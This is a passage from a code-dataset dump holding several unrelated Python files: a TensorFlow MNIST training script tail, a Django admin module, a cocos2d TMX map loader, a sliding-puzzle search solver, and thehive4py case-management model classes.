tf.estimator.EvalSpec(\n input_fn=lambda: input_fn(\n test_images,\n test_labels,\n args.batch_size,\n mode=tf.estimator.ModeKeys.EVAL),\n steps=None,\n name='mnist-eval',\n exporters=[exporter],\n start_delay_secs=10,\n throttle_secs=10)\n\n # Launch Tensorboard in a separate thread.\n tf.gfile.MakeDirs(args.working_dir)\n start_tensorboard(args.working_dir)\n\n # Start training\n tf.estimator.train_and_evaluate(estimator, train_spec, eval_spec)\n\n\nif __name__ == '__main__':\n args = get_args()\n tf.logging.set_verbosity(args.verbosity)\n train_and_evaluate(args)\n","sub_path":"tony-examples/mnist-tensorflow/mnist_keras_distributed.py","file_name":"mnist_keras_distributed.py","file_ext":"py","file_size_in_byte":10068,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"514491057","text":"from django.contrib import admin\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom filingcabinet.admin import (\n DocumentBaseAdmin, PageAdmin, PageAnnotationAdmin,\n DocumentCollectionBaseAdmin,\n CollectionDocumentBaseAdmin,\n DocumentPortalAdmin\n)\nfrom filingcabinet.models import (\n Page, PageAnnotation, CollectionDocument,\n DocumentPortal\n)\n\nfrom froide.helper.admin_utils import (\n ForeignKeyFilter, make_admin_assign_action\n)\nfrom froide.helper.forms import get_fk_form_class\n\nfrom .models import Document, DocumentCollection\n\n\nAddDocumentsToCollectionBaseMixin = make_admin_assign_action(\n 'collection', _('Add documents to collection')\n)\n\n\nclass AddDocumentsToCollectionMixin(AddDocumentsToCollectionBaseMixin):\n def _get_assign_action_form_class(self, fieldname):\n return get_fk_form_class(\n CollectionDocument, 'collection', self.admin_site\n )\n\n def _execute_assign_action(self, obj, fieldname, assign_obj):\n CollectionDocument.objects.get_or_create(\n collection=assign_obj,\n document=obj\n )\n\n\nclass DocumentAdmin(AddDocumentsToCollectionMixin, DocumentBaseAdmin):\n raw_id_fields = DocumentBaseAdmin.raw_id_fields + (\n 'original', 'foirequest', 'publicbody', 'team'\n )\n list_filter = DocumentBaseAdmin.list_filter + (\n ('foirequest', ForeignKeyFilter),\n ('publicbody', ForeignKeyFilter),\n ('user', ForeignKeyFilter),\n ('team', ForeignKeyFilter),\n )\n actions = (\n DocumentBaseAdmin.actions + AddDocumentsToCollectionMixin.actions\n )\n\n\nclass CustomPageAdmin(PageAdmin):\n list_filter = PageAdmin.list_filter + (\n ('document', ForeignKeyFilter),\n )\n\n\nclass CustomPageAnnotationAdmin(PageAnnotationAdmin):\n list_filter = (\n 'page__number',\n ('page__document', ForeignKeyFilter),\n )\n\n\nclass DocumentCollectionAdmin(DocumentCollectionBaseAdmin):\n raw_id_fields = DocumentBaseAdmin.raw_id_fields + (\n 'team',\n )\n\n\nclass CollectionDocumentAdmin(CollectionDocumentBaseAdmin):\n list_filter = CollectionDocumentBaseAdmin.list_filter + (\n ('document', ForeignKeyFilter),\n ('collection', ForeignKeyFilter),\n )\n\n\nadmin.site.register(Document, DocumentAdmin)\nadmin.site.register(Page, CustomPageAdmin)\nadmin.site.register(PageAnnotation, CustomPageAnnotationAdmin)\nadmin.site.register(DocumentCollection, DocumentCollectionAdmin)\nadmin.site.register(CollectionDocument, CollectionDocumentAdmin)\nadmin.site.register(DocumentPortal, DocumentPortalAdmin)\n","sub_path":"froide/document/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":2573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"298546486","text":"from cocos.layer.scrolling import ScrollableLayer\nfrom cocos.sprite import Sprite\nfrom cocos.tiles import *\nimport pyglet.image\nimport pyglet.resource\nfrom xml.etree import ElementTree\n\n\nclass TmxImageLayer(ScrollableLayer):\n def __init__(self, image, offset, maph):\n super(TmxImageLayer, self).__init__()\n self.image = image\n self._sprite = Sprite(\n image,\n (offset[0] + (image.width / 2),\n (maph - offset[1]) - (image.height / 2))\n )\n self.add(self._sprite)\n\n\ndef load_map(mapname):\n '''Hack to ensure maps with relative image paths get loaded correctly,\n by manipulating pyglet.resource.path.'''\n pyglet.resource.path.insert(0, 'asset/map')\n pyglet.resource.reindex()\n layer = load_tmx('level_{}.tmx'.format(mapname))\n pyglet.resource.path.pop(0)\n pyglet.resource.reindex()\n return layer\n\n\ndef load_tmx(filename):\n \"\"\"Load some tile mapping resources from a TMX file.\n\n Modified from cocos.tiles.load_tmx\n \"\"\"\n resource = Resource(filename)\n\n tree = ElementTree.parse(resource.path)\n map = tree.getroot()\n if map.tag != 'map':\n raise ResourceError('document is <%s> instead of ' % map.name)\n\n width = int(map.attrib['width'])\n height = int(map.attrib['height'])\n\n # XXX this is ASSUMED to be consistent\n tile_width = int(map.attrib['tilewidth'])\n tile_height = int(map.attrib['tileheight'])\n\n tiling_style = map.attrib['orientation']\n\n if tiling_style == \"hexagonal\":\n hex_sidelenght = int(map.attrib[\"hexsidelength\"])\n # 'x' meant hexagons with top and bottom sides parallel to x axis,\n # 'y' meant hexagons with left and right sides paralel to y axis\n s = map.attrib[\"staggeraxis\"]\n hex_orientation = {'x': 'pointy_left', 'y': 'pointy_up'}\n # 'even' or 'odd', currently cocos only displays correctly 'even'\n lowest_columns = map.attrib[\"staggerindex\"] == \"even\"\n cell_cls = HexCell\n layer_cls = HexMapLayer\n map_height_pixels = height * tile_height + tile_height // 2\n\n elif tiling_style == \"orthogonal\":\n cell_cls = RectCell\n layer_cls = RectMapLayer\n map_height_pixels = height * tile_height\n\n else:\n raise ValueError(\"Unsuported tiling style, must be 'orthogonal' or 'hexagonal'\")\n\n # load all the tilesets\n tilesets = []\n for tag in map.findall('tileset'):\n if 'source' in tag.attrib:\n firstgid = int(tag.attrib['firstgid'])\n path = resource.find_file(tag.attrib['source'])\n with open(path) as f:\n tag = ElementTree.fromstring(f.read())\n else:\n firstgid = int(tag.attrib['firstgid'])\n\n name = tag.attrib['name']\n\n spacing = int(tag.attrib.get('spacing', 0))\n for c in tag.getchildren():\n if c.tag == \"image\":\n # create a tileset from the image atlas\n path = resource.find_file(c.attrib['source'])\n tileset = TileSet.from_atlas(name, firstgid, path, tile_width,\n tile_height, row_padding=spacing,\n column_padding=spacing)\n # TODO consider adding the individual tiles to the resource?\n tilesets.append(tileset)\n resource.add_resource(name, tileset)\n elif c.tag == 'tile':\n # add properties to tiles in the tileset\n gid = tileset.firstgid + int(c.attrib['id'])\n tile = tileset[gid]\n props = c.find('properties')\n if props is None:\n continue\n for p in props.findall('property'):\n # store additional properties.\n name = p.attrib['name']\n value = p.attrib['value']\n # TODO consider more type conversions?\n if value.isdigit():\n value = int(value)\n tile.properties[name] = value\n\n # now load all the layers\n for layer in map.findall('layer'):\n data = layer.find('data')\n if data is None:\n raise ValueError('layer %s does not contain ' % layer.name)\n\n encoding = data.attrib.get('encoding')\n compression = data.attrib.get('compression')\n if encoding is None:\n # tiles data as xml\n data = [int(tile.attrib.get('gid')) for tile in data.findall('tile')]\n else:\n data = data.text.strip()\n if encoding == 'csv':\n data.replace('\\n', '')\n data = [int(s) for s in data.split(',')]\n elif encoding == 'base64':\n data = decode_base64(data)\n if compression == 'zlib':\n data = decompress_zlib(data)\n elif compression == 'gzip':\n data = decompress_gzip(data)\n elif compression is None:\n pass\n else:\n raise ResourceError('Unknown compression method: %r' % compression)\n data = struct.unpack(str('<%di' % (len(data) // 4)), data)\n else:\n raise TmxUnsupportedVariant(\"Unsupported tiles layer format \" +\n \"use 'csv', 'xml' or one of \" +\n \"the 'base64'\")\n\n assert len(data) == width * height\n\n cells = [[None] * height for x in range(width)]\n for n, gid in enumerate(data):\n if gid < 1:\n tile = None\n else:\n # UGH\n for ts in tilesets:\n if gid in ts:\n tile = ts[gid]\n break\n i = n % width\n j = height - (n // width + 1)\n cells[i][j] = cell_cls(i, j, tile_width, tile_height, {}, tile)\n\n id = layer.attrib['name']\n\n m = layer_cls(id, tile_width, tile_height, cells, None, {})\n m.visible = int(layer.attrib.get('visible', 1))\n\n resource.add_resource(id, m)\n\n # Load object groups\n for tag in map.findall('objectgroup'):\n layer = TmxObjectLayer.fromxml(tag, tilesets, map_height_pixels)\n resource.add_resource(layer.name, layer)\n\n # Load image layers\n for tag in map.findall('imagelayer'):\n imgtag = tag.getchildren()[0]\n path = resource.find_file(imgtag.attrib['source'])\n image = pyglet.image.load(path)\n layer = TmxImageLayer(\n image, (int(tag.attrib['offsetx']), int(tag.attrib['offsety'])),\n height * tile_height\n )\n resource.add_resource(tag.attrib['name'], layer)\n\n return resource\n","sub_path":"game/tiles.py","file_name":"tiles.py","file_ext":"py","file_size_in_byte":6804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"450988387","text":"import state\nimport copy\nimport queue as Q\n\n# q = Q.PriorityQueue()\n# q.put(10)\n# q.put(1)\n# q.put(5)\n# while not q.empty():\n# print q.get()\n\ndef toTuple(data):\n return tuple(tuple(x) for x in data)\n\ndef heuristicCostEstimate(state):\n n = len(state.data)\n cost = 0\n for i in range(0, n):\n for j in range(0, n):\n if state.data[i][j] == 0:\n continue\n else:\n x = int(state.data[i][j] / n);\n y = int(state.data[i][j] % n);\n cost += abs(x - i) + abs(y - j)\n return cost\n\n\nclass Solver:\n Direction = ['up', 'down', 'left', 'right']\n ReverseDirection = ['right', 'left', 'down', 'up']\n\n # init goal state, this state is a list of list contains elements from 0 to n*n - 1\n def __init__(self, n):\n self.goal = []\n self.n = n\n for i in range(0, self.n):\n temp = []\n for j in range(i * self.n, (i + 1) * self.n):\n temp.append(j)\n self.goal.append(temp)\n\n # check that current state is a goal state or not\n def checkGoal(self, currentState):\n return currentState.data == self.goal\n\n # generate next state of current state according to direction param\n def generateNextState(self, currentState, direction, x, y):\n if direction == 'up':\n if x == 0:\n return None\n nextState = copy.deepcopy(currentState.data)\n nextState[x][y] = nextState[x - 1][y]\n nextState[x - 1][y] = 0\n return state.State(nextState, x - 1, y, currentState, direction, currentState.searchDepth + 1)\n elif direction == 'down':\n if x == self.n - 1:\n return None\n nextState = copy.deepcopy(currentState.data)\n nextState[x][y] = nextState[x + 1][y]\n nextState[x + 1][y] = 0\n return state.State(nextState, x + 1, y, currentState, direction, currentState.searchDepth + 1)\n elif direction == 'left':\n if y == 0:\n return None\n nextState = copy.deepcopy(currentState.data)\n nextState[x][y] = nextState[x][y - 1]\n nextState[x][y - 1] = 0\n return state.State(nextState, x, y - 1, currentState, direction, currentState.searchDepth + 1)\n elif direction == 'right':\n if y == self.n - 1:\n return None\n nextState = copy.deepcopy(currentState.data)\n nextState[x][y] = nextState[x][y + 1]\n nextState[x][y + 1] = 0\n return state.State(nextState, x, y + 1, currentState, direction, currentState.searchDepth + 1)\n\n def BFS(self, startState):\n result = state.Result()\n frontier = []\n # create a froniter set and a visited set for O(1) time lookup\n frontierSet = set()\n visitedSet = set()\n # add first state to frontier\n frontier.append(startState)\n frontierSet.add(startState)\n\n while len(frontier) > 0:\n # get the first element in the frontier\n currentState = frontier[0]\n # mark this state as visited\n visitedSet.add(currentState)\n # remove it from frontier\n frontier.remove(currentState)\n frontierSet.remove(currentState)\n\n if self.checkGoal(currentState):\n result.state = currentState\n result.searchDepth = currentState.searchDepth\n result.fringeSize = len(frontier)\n return result\n\n result.nodeExpanded += 1\n for direction in self.Direction:\n nextState = self.generateNextState(currentState, direction, currentState.x, currentState.y)\n if nextState != None:\n if nextState not in frontierSet and nextState not in visitedSet:\n frontier.append(nextState)\n frontierSet.add(nextState)\n result.maxSearchDepth = max(result.maxSearchDepth, nextState.searchDepth)\n\n result.maxFringeSize = max(result.maxFringeSize, len(frontier))\n\n return None\n\n def DFS(self, startState):\n frontier = []\n result = state.Result()\n frontierSet = set()\n visitedSet = set()\n\n frontier.append(startState)\n frontierSet.add(startState)\n\n while len(frontier) > 0:\n currentState = frontier.pop()\n frontierSet.remove(currentState)\n visitedSet.add(currentState)\n\n if self.checkGoal(currentState):\n result.state = currentState\n result.searchDepth = currentState.searchDepth\n result.fringeSize = len(frontier)\n return result\n\n result.nodeExpanded += 1\n print(result.nodeExpanded)\n for direction in self.ReverseDirection:\n nextState = self.generateNextState(currentState, direction, currentState.x, currentState.y)\n if nextState != None:\n if nextState not in frontierSet and nextState not in visitedSet:\n frontier.append(nextState)\n frontierSet.add(nextState)\n result.maxSearchDepth = max(result.maxSearchDepth, nextState.searchDepth)\n\n result.maxFringeSize = max(result.maxFringeSize, len(frontier))\n\n def AST(self, startState):\n frontier = Q.PriorityQueue()\n frontierSet = set()\n visitedSet = set()\n result = state.Result()\n\n startState.gcost = 0\n startState.fcost = heuristicCostEstimate(startState)\n frontier.put(startState)\n frontierSet.add(startState)\n\n while not frontier.empty():\n currState = frontier.get()\n visitedSet.add(currState)\n frontierSet.remove(currState)\n\n if self.checkGoal(currState):\n result.state = currState\n result.searchDepth = currState.searchDepth\n result.fringeSize = frontier.qsize()\n return result\n\n result.nodeExpanded += 1\n for direction in self.Direction:\n nextState = self.generateNextState(currState, direction, currState.x, currState.y)\n if nextState != None:\n if nextState in visitedSet:\n continue\n tentativeScore = currState.gcost + 1\n if tentativeScore >= nextState.gcost:\n pass\n\n\n\n def IDA(self, startState):\n pass\n","sub_path":"AI/Python/solver.py","file_name":"solver.py","file_ext":"py","file_size_in_byte":6595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"96464260","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n\r\nimport base64\r\nimport datetime\r\nimport json\r\nimport os\r\nimport time\r\n\r\nfrom enum import Enum\r\nimport magic\r\nimport requests\r\nfrom future.utils import raise_with_traceback\r\n\r\nfrom thehive4py.exceptions import TheHiveException, CaseException\r\n\r\n\r\nclass Version(Enum):\r\n \"\"\"\r\n Enumeration representing a version used to specify the version of TheHive instance\r\n\r\n Possible values: THEHIVE_3, THEHIVE_4\r\n \"\"\"\r\n THEHIVE_3 = 3\r\n THEHIVE_4 = 4\r\n\r\n\r\nclass Tlp(Enum):\r\n \"\"\"\r\n Enumeration representing TLP, used in cases, observables and alerts\r\n\r\n Possible values: WHITE, GREEN, AMBER, RED\r\n \"\"\"\r\n WHITE = 0\r\n GREEN = 1\r\n AMBER = 2\r\n RED = 3\r\n\r\n\r\nclass Pap(Enum):\r\n \"\"\"\r\n Enumeration representing PAP, used in cases, observables and alerts (TheHive 4 only)\r\n\r\n Possible values: WHITE, GREEN, AMBER, RED\r\n \"\"\"\r\n WHITE = 0\r\n GREEN = 1\r\n AMBER = 2\r\n RED = 3\r\n\r\n\r\nclass Severity(Enum):\r\n \"\"\"\r\n Enumeration representing severity, used in cases and alerts\r\n\r\n Possible values: LOW, MEDIUM, HIGH, CRITICAL\r\n \"\"\"\r\n LOW = 1\r\n MEDIUM = 2\r\n HIGH = 3\r\n CRITICAL = 4\r\n\r\n\r\nclass CaseStatus(Enum):\r\n \"\"\"\r\n Enumeration representing case statuses\r\n\r\n Possible values: OPEN, RESOLVED, DELETED, DUPLICATE\r\n \"\"\"\r\n OPEN = 'Open'\r\n RESOLVED = 'Resolved'\r\n DELETED = 'Deleted'\r\n DUPLICATE = 'Duplicate'\r\n\r\n\r\nclass TaskStatus(Enum):\r\n \"\"\"\r\n Enumeration representing task statuses\r\n\r\n Possible values: WAITING, INPROGRESS, COMPLETED, CANCEL\r\n \"\"\"\r\n WAITING = 'Waiting'\r\n INPROGRESS = 'InProgress'\r\n COMPLETED = 'Completed',\r\n CANCEL = 'Cancel'\r\n\r\n\r\nclass CustomJsonEncoder(json.JSONEncoder):\r\n \"\"\"\r\n Custom JSON encoder class that takes into account [thehive4py.models.JSONSerializable][] instances and \r\n `datetime.datetime` objects\r\n \"\"\"\r\n def default(self, o):\r\n \"\"\"\r\n Method to serialize [thehive4py.models.JSONSerializable][] objects.\r\n\r\n Used by [thehive4py.models.JSONSerializable.jsonify][] method\r\n \"\"\"\r\n if isinstance(o, JSONSerializable):\r\n return o.__dict__\r\n elif isinstance(o, datetime.datetime):\r\n return o.timestamp()\r\n else:\r\n return json.JSONEncoder.default(self, o)\r\n\r\n\r\nclass JSONSerializable(object):\r\n \"\"\"\r\n Abstract class of all the models classes. \r\n \r\n It defines utility methods called `jsonify` used to get a model object's JSON representation\r\n \"\"\"\r\n\r\n def jsonify(self, excludes=[]):\r\n \"\"\"\r\n A method that returns a stringyfied JSON representing a model object\r\n\r\n Arguments:\r\n excludes (str[]): list of fields to exclude from the returned JSON object.\r\n\r\n Returns:\r\n str: the JSON string of the object.\r\n \"\"\"\r\n data = self.__dict__\r\n\r\n for ex in excludes:\r\n if ex in data:\r\n del data[ex]\r\n\r\n return json.dumps(data, sort_keys=True, indent=4, cls=CustomJsonEncoder)\r\n\r\n def attr(self, attributes, name, default, error=None):\r\n is_required = error is not None\r\n\r\n if is_required and name not in attributes:\r\n raise_with_traceback(ValueError(error))\r\n else:\r\n return attributes.get(name, default)\r\n\r\n\r\nclass CustomFieldHelper(object):\r\n \"\"\"\r\n CustomFieldHelper\r\n \"\"\"\r\n def __init__(self):\r\n self.fields = {}\r\n\r\n def __add_field(self, type, name, value):\r\n custom_field = dict()\r\n custom_field['order'] = len(self.fields)\r\n custom_field[type] = value\r\n self.fields[name] = custom_field\r\n\r\n def add_date(self, name, value):\r\n \"\"\"\r\n Add a custom field of type `date`.\r\n\r\n Arguments:\r\n name (str): name of the custom field\r\n value (int): number of milliseconds representing a timestamp (Example: int(time.time())*1000)\r\n \r\n \"\"\"\r\n self.__add_field('date', name, value)\r\n return self\r\n\r\n def add_string(self, name, value):\r\n \"\"\"\r\n Add a custom field of type `string`.\r\n\r\n Arguments:\r\n name (str): name of the custom field\r\n value (str): value of the custom field\r\n \r\n \"\"\"\r\n self.__add_field('string', name, value)\r\n return self\r\n\r\n def add_boolean(self, name, value):\r\n \"\"\"\r\n Add a custom field of type `bool`.\r\n\r\n Arguments:\r\n name (str): name of the custom field\r\n value (bool): True or False, value of the custom field\r\n \r\n \"\"\"\r\n self.__add_field('boolean', name, value)\r\n return self\r\n\r\n def add_number(self, name, value):\r\n \"\"\"\r\n Add a custom field of type `number`.\r\n\r\n Arguments:\r\n name (str): name of the custom field\r\n value (number): value of the custom field\r\n \r\n !!! Warning\r\n This is method that work for TheHive 3 ONLY\r\n \"\"\"\r\n self.__add_field('number', name, value)\r\n return self\r\n\r\n def add_integer(self, name, value):\r\n \"\"\"\r\n Add a custom field of type `integer`.\r\n\r\n Arguments:\r\n name (str): name of the custom field\r\n value (int): value of the custom field\r\n \r\n !!! Warning\r\n This is method that work for TheHive 4 ONLY\r\n \"\"\"\r\n self.__add_field('integer', name, value)\r\n return self\r\n\r\n def add_float(self, name, value):\r\n \"\"\"\r\n Add a custom field of type `float`.\r\n\r\n Arguments:\r\n name (str): name of the custom field\r\n value (float): value of the custom field\r\n \r\n !!! Warning\r\n This is method that work for TheHive 4 ONLY\r\n \"\"\"\r\n self.__add_field('float', name, value)\r\n return self\r\n\r\n def build(self):\r\n \"\"\"\r\n Builds the custom field value dict as expected by TheHive, \r\n maintining the order of the fields, specified by `order`\r\n\r\n Returns:\r\n dict: A json representation of the custom fields map\r\n \"\"\"\r\n return self.fields\r\n\r\n\r\nclass CustomField(object):\r\n \"\"\"\r\n Model class describing a custom field as defined in TheHive\r\n\r\n Arguments:\r\n name (str): name of the custom field\r\n reference (str): internal reference name\r\n description (str): description of the custom field\r\n type (Enum): type of the field, possible values are `string`, `boolean`, `number`, `date`, `integer`, `float`\r\n options (Any[]): list of possible values for the field\r\n mandatory (bool): True if the field is mandatory\r\n \"\"\"\r\n\r\n def __init__(self, **attributes):\r\n self.name = attributes.get('name', None)\r\n self.reference = attributes.get('name', None)\r\n self.description = attributes.get('description', None)\r\n self.type = attributes.get('type', None)\r\n self.options = attributes.get('options', [])\r\n self.mandatory = attributes.get('mandatory', False)\r\n\r\n\r\nclass Case(JSONSerializable):\r\n \"\"\"\r\n Model class describing a case as defined in TheHive\r\n\r\n Arguments:\r\n id (str): Case's id. Default: None\r\n title (str): Case's description. Default: None\r\n description (str): Case's description. Default: None\r\n tlp (Enum): Case's TLP: `0`, `1`, `2`, `3` for `WHITE`, `GREEN`, `AMBER`, `RED`. Default: `2`\r\n pap (Enum): Case's PAP: `0`, `1`, `2`, `3` for `WHITE`, `GREEN`, `AMBER`, `RED`. Default: `2`\r\n severity (Enum): Case's severity: `1`, `2`, `3`, `4` for `LOW`, `MEDIUM`, `HIGH`, `CRTICAL`. Default: `2`\r\n flag (bool): Case's flag, `True` to mark the case as important. Default: `False`\r\n tags (str[]): List of case tags. Default: `[]`\r\n startDate (datetime): Case's start date, the date the case occured. Default: `Now()`\r\n template (str): Case template's name. If specified then the case is created using the given template. Default: `None`\r\n owner (str): Case's assignee. Default: `None`\r\n metrics (JSON): Case metrics collection. A JSON object where keys are defining metric name, and values are defining metric value. Default: `{}`\r\n customFields (CustomField[]): A set of CustomField instances, or the result of a CustomFieldHelper.build() method. Default: `{}`\r\n tasks (JSON[] / CaseTask[]): Set of taks, defined either as JSON objects or CaseTask instances\r\n json (JSON): If the field is not equal to None, the case is instantiated using the JSON value instead of the arguements\r\n\r\n !!! Warning\r\n The `metrics` field is available in TheHive 3 only\r\n \"\"\"\r\n def __init__(self, **attributes):\r\n defaults = {\r\n 'id': None,\r\n 'title': None,\r\n 'description': None,\r\n 'tlp': Tlp.AMBER.value,\r\n 'pap': Pap.AMBER.value,\r\n 'severity': Severity.MEDIUM.value,\r\n 'flag': False,\r\n 'tags': [],\r\n 'startDate': int(time.time()) * 1000,\r\n 'metrics': {},\r\n 'customFields': {},\r\n 'tasks': [],\r\n 'template': None,\r\n 'owner': None\r\n }\r\n\r\n if attributes.get('json', False):\r\n attributes = attributes['json']\r\n\r\n is_from_template = attributes.get('template', False)\r\n if is_from_template:\r\n defaults['template'] = attributes['template']\r\n\r\n self.id = attributes.get('id', None)\r\n self.title = attributes.get('title', None)\r\n self.description = attributes.get('description', defaults['description'])\r\n self.tlp = attributes.get('tlp', defaults['tlp'])\r\n self.pap = attributes.get('pap', defaults['pap'])\r\n self.severity = attributes.get('severity', defaults['severity'])\r\n self.flag = attributes.get('flag', defaults['flag'])\r\n self.tags = attributes.get('tags', defaults['tags'])\r\n self.startDate = attributes.get('startDate', defaults['startDate'])\r\n self.metrics = attributes.get('metrics', defaults['metrics'])\r\n self.customFields = attributes.get('customFields', defaults['customFields'])\r\n self.template = attributes.get('template', defaults['template'])\r\n self.owner = attributes.get('owner', defaults['owner'])\r\n\r\n tasks = attributes.get('tasks', defaults['tasks'])\r\n self.tasks = []\r\n for task in tasks:\r\n if type(task) == CaseTask:\r\n self.tasks.append(task)\r\n else:\r\n self.tasks.append(CaseTask(json=task))\r\n\r\n\r\nclass CaseHelper:\r\n \"\"\"\r\n Provides helper methods for interacting with instances of the Case class.\r\n \"\"\"\r\n def __init__(self, thehive):\r\n \"\"\"\r\n Initialize a CaseHelper instance.\r\n :param thehive: A TheHiveApi instance.\r\n\r\n \"\"\"\r\n self._thehive = thehive\r\n\r\n def __call__(self, id):\r\n \"\"\"\r\n Return an instance of Case with the given case ID.\r\n :param id: ID of a case to retrieve.\r\n\r\n \"\"\"\r\n response = self._thehive.get_case(id)\r\n\r\n # Check for failed authentication\r\n if response.status_code == requests.codes.unauthorized:\r\n raise TheHiveException(\"Authentication failed\")\r\n\r\n if response.status_code == requests.codes.not_found:\r\n raise CaseException(\"Case {} not found\".format(id))\r\n\r\n if self.status_ok(response.status_code):\r\n data = response.json()\r\n case = Case(json=data)\r\n\r\n # Add attributes that are not added by the constructor\r\n case.id = data.get('id', None)\r\n case.owner = data.get('owner', None)\r\n case.caseId = data.get('caseId', None)\r\n case.status = data.get('status', None)\r\n case.createdAt = data.get('createdAt', None)\r\n case.createdBy = data.get('createdBy', None)\r\n case.updatedAt = data.get('updatedAt', None)\r\n case.updatedBy = data.get('updatedBy', None)\r\n\r\n return case\r\n\r\n def create(self, title, description, **kwargs):\r\n \"\"\"\r\n Create an instance of the Case class.\r\n :param title: Case title.\r\n :param description: Case description.\r\n :param kwargs: Additional arguments.\r\n\r\n :return: The created instance.\r\n\r\n \"\"\"\r\n case = Case(title=title, description=description, **kwargs)\r\n response = self._thehive.create_case(case)\r\n\r\n # Check for failed authentication\r\n if response.status_code == requests.codes.unauthorized:\r\n raise TheHiveException(\"Authentication failed\")\r\n\r\n if self.status_ok(response.status_code):\r\n return self(response.json()['id'])\r\n else:\r\n raise CaseException(\"Server returned {}: {}\".format(response.status_code, response.text))\r\n\r\n def update(self, case_id, **attributes):\r\n \"\"\"\r\n Update a case.\r\n :param case_id: The ID of the case to update\r\n :param attributes: key=value pairs of case attributes to update (field=new_value)\r\n\r\n :return: The created instance.\r\n \"\"\"\r\n\r\n response = self._thehive.do_patch(\"/api/case/{}\".format(case_id), **attributes)\r\n\r\n if response.status_code == requests.codes.unauthorized:\r\n raise TheHiveException(\"Authentication failed\")\r\n\r\n if self.status_ok(response.status_code):\r\n return self(response.json()['id'])\r\n else:\r\n raise CaseException(\"Server returned {}: {}\".format(response.status_code, response.text))\r\n\r\n @staticmethod\r\n def status_ok(status_code):\r\n \"\"\"Check whether a status code is OK\"\"\"\r\n OK_STATUS_CODES = [200, 201]\r\n return status_code in OK_STATUS_CODES\r\n\r\n\r\nclass CaseTask(JSONSerializable):\r\n \"\"\"\r\n Model class describing a case task as defined in TheHive\r\n\r\n Arguments:\r\n id (str): Task's id. Default: None\r\n title (str): Task's description. Default: None\r\n description (str): Task's description. Default: None\r\n status (Enum): Task's status: `Waiting`, `InProgress`, `Cancel`, `Completed`. Default: `Waiting`\r\n flag (bool): Task's flag, `True` to mark the Task as important. Default: `False`\r\n startDate (datetime): Task's start date, the date the task started at. Default: `None`\r\n owner (str): Task's assignee. Default: `None`\r\n json (JSON): If the field is not equal to None, the Task is instantiated using the JSON value instead of the arguements\r\n \"\"\"\r\n\r\n def __init__(self, **attributes):\r\n if attributes.get('json', False):\r\n attributes = attributes['json']\r\n\r\n self.id = attributes.get('id', None)\r\n self.title = attributes.get('title', None)\r\n self.status = attributes.get('status', TaskStatus.WAITING.value)\r\n self.flag = attributes.get('flag', False)\r\n self.description = attributes.get('description', None)\r\n self.owner = attributes.get('owner', None)\r\n self.startDate = attributes.get('startDate', None)\r\n self.group = attributes.get('group', None)\r\n\r\n\r\nclass CaseTaskLog(JSONSerializable):\r\n \"\"\"\r\n Model class describing a case task log as defined in TheHive\r\n\r\n Arguments:\r\n id (str): Log's id. Default: None\r\n message (str): Log's description. Default: None\r\n file (str): Log attachment's path. If defined, the task log is created and the file is attached to it. Default: None\r\n json (JSON): If the field is not equal to None, the Task is instantiated using the JSON value instead of the arguements\r\n \"\"\"\r\n def __init__(self, **attributes):\r\n if attributes.get('json', False):\r\n attributes = attributes['json']\r\n\r\n self.id = attributes.get('id', None)\r\n self.message = attributes.get('message', None)\r\n self.file = attributes.get('file', None)\r\n\r\n if self.file is not None:\r\n if isinstance(self.file, tuple):\r\n file_object, filename = self.file\r\n else:\r\n filename = self.file\r\n # we are opening this here, but we can't close it\r\n # because it gets passed into requests.post. this is\r\n # the substance of issue #10.\r\n file_object = open(self.file, 'rb')\r\n\r\n mime = magic.Magic(mime=True).from_buffer(file_object.read())\r\n file_object.seek(0)\r\n self.attachment = {'attachment': (filename, file_object, mime)}\r\n \r\n\r\nclass CaseTemplate(JSONSerializable):\r\n \"\"\"\r\n Model class describing a case template as defined in TheHive\r\n\r\n Arguments:\r\n id (str): Template's id. Default: None\r\n titlePrefix (str): Template's title prefix. Default: None\r\n description (str): Template's description. Default: None\r\n tlp (Enum): Template's TLP: `0`, `1`, `2`, `3` for `WHITE`, `GREEN`, `AMBER`, `RED`. Default: `2`\r\n pap (Enum): Template's PAP: `0`, `1`, `2`, `3` for `WHITE`, `GREEN`, `AMBER`, `RED`. Default: `2`\r\n severity (Enum): Template's severity: `1`, `2`, `3`, `4` for `LOW`, `MEDIUM`, `HIGH`, `CRTICAL`. Default: `2`\r\n flag (bool): Template's flag, `True` to mark the case as important when created from a template. Default: `False`\r\n tags (str[]): List of template tags. Default: `[]`\r\n metrics (JSON): Template metrics collection. A JSON object where keys are defining metric name, and values are defining metric value. Default: `{}`\r\n customFields (CustomField[]): A set of CustomField instances, or the result of a CustomFieldHelper.build() method. Default: `{}`\r\n tasks (JSON[] / CaseTask[]): Set of taks, defined either as JSON objects or CaseTask instances\r\n json (JSON): If the field is not equal to None, the template is instantiated using the JSON value instead of the arguements\r\n\r\n !!! Warning\r\n The `metrics` field is available in TheHive 3 only\r\n \"\"\"\r\n\r\n def __init__(self, **attributes):\r\n if attributes.get('json', False):\r\n attributes = attributes['json']\r\n\r\n self.id = attributes.get('id', None)\r\n self.name = attributes.get('name', None)\r\n self.id = attributes.get('id', None)\r\n self.titlePrefix = attributes.get('titlePrefix', None)\r\n self.description = attributes.get('description', None)\r\n self.severity = attributes.get('severity', Severity.MEDIUM.value)\r\n self.flag = attributes.get('flag', False)\r\n self.tlp = attributes.get('tlp', Tlp.AMBER.value)\r\n self.pap = attributes.get('pap', Pap.AMBER.value)\r\n self.tags = attributes.get('tags', [])\r\n self.metrics = attributes.get('metrics', {})\r\n self.customFields = attributes.get('customFields', {})\r\n\r\n tasks = attributes.get('tasks', [])\r\n self.tasks = []\r\n for task in tasks:\r\n if type(task) == CaseTask:\r\n self.tasks.append(task)\r\n else:\r\n self.tasks.append(CaseTask(json=task))\r\n\r\n\r\nclass CaseObservable(JSONSerializable):\r\n \"\"\"\r\n Model class describing a case observable as defined in TheHive\r\n\r\n Arguments:\r\n id (str): Observable's id. Default: None\r\n dataType (str): Observable's type, must be a valid type, one of the defined data types in TheHive. Default: 